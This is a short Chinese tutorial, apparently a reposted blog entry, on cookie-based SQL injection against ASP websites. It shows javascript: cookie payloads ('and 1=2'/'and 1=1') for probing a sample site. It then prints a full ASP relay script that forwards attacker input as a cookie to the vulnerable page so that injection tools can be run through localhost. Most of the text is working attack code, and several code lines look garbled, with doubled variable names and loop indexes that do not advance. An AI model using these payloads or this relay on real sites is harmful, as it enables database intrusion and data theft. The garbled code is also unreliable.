cookie注入

手工方法如下:
比如网址如下http://zzz.com/cplb.asp?id=46,对GET以及POST提交的数据都进行了检测,也没办法饶过。首先打开上面的 地址,再清空地址栏,输入javascript:alert(document.cookie=”id=”+escape(“46 and 1=2″)),再输入http://zzz.com/cplb.asp,页面返回错误,说明有希望;提交 javascript:alert(document.cookie=”id=”+escape(“46 and 1=1″)),最后输入http://zzz.com/cplb.asp,这次返回完全正常;可以确定存在cookie注入。以下代码来自寂寞的刺猬 [L.S.T]:

  
  
  
  
  1. < % 
  2. cookname=request("jmdcw") 
  3. cookname=escape(cookname) 
  4. jmstr="id="&cookname '存在注入的变量 
  5. jmstr=replace(jmstr,chr(32),"%20") 
  6. jmstr=replace(jmstr,chr(43),"%2b") 
  7.  
  8. '// 以下三行需要修改,Cookies值可以用Domain3.5浏览下就得到了~~ 
  9. jmurl="http://zzz.com /cplb.asp" '存在注入的网址 
  10. jmref="http://zzz.com/index.asp" '来源地址 
  11. jmcok="ASPSESSIONIDCQTAQBSQ=ALGDAPNDKCOHJNDCAMOHDHLK" 
  12.  
  13. jmcokjmcok=jmcok& ";"&jmstr&";" 
  14. response.write postdata(jmurl,jmcok,jmref) 
  15. function postdata(posturl,postcok,postref) 
  16. dim http 
  17. set http=server.createobject("msxml2.serverxmlhttp") 
  18. with http 
  19. .open "POST",posturl,false 
  20. .setRequestheader "content-type","application/x-www-form-urlencoded" 
  21. .setrequestheader "referer",postref 
  22. .setrequestheader "cookie",postcok '提交cookie值 
  23. .send() '发送数据 
  24. postdata=.responsebody '得到返回的二进制信息 
  25. end with 
  26. set http=nothing 
  27. postdata=bytes2BSTR(postdata) '转换二进制流 
  28. end function 
  29.  
  30. function bytes2BSTR(vin) 
  31. dim strReturn 
  32. dim i,thischarcode,nextcharcode 
  33. strReturn="" 
  34. for i=1 to lenB(vin) 
  35. thischarcode=ascB(midB(vin,1,1)) 
  36. if thischarcode<&H80 then 
  37. strReturnstrReturn=strReturn&chr(thischarcode) 
  38. else 
  39. nextcharcode=ascB(midB(vin,1+1,1)) 
  40. strReturnstrReturn=strReturn&chr(clng(thischarcode) * &H100+cint(nextcharcode)) 
  41. ii=i+1 
  42. end if 
  43. next 
  44. bytes2BSTR=strReturn 
  45. end function 
  46. %> 

保存为jmdcw.asp,最后可以本机装个IIS或绿色的 aspsrv.exe,那么注入地址就是http://127.0.0.1/jmdcw.asp?jmdcw=46,直接用工具就OK了。

你可能感兴趣的:(职场,休闲,cookie注入)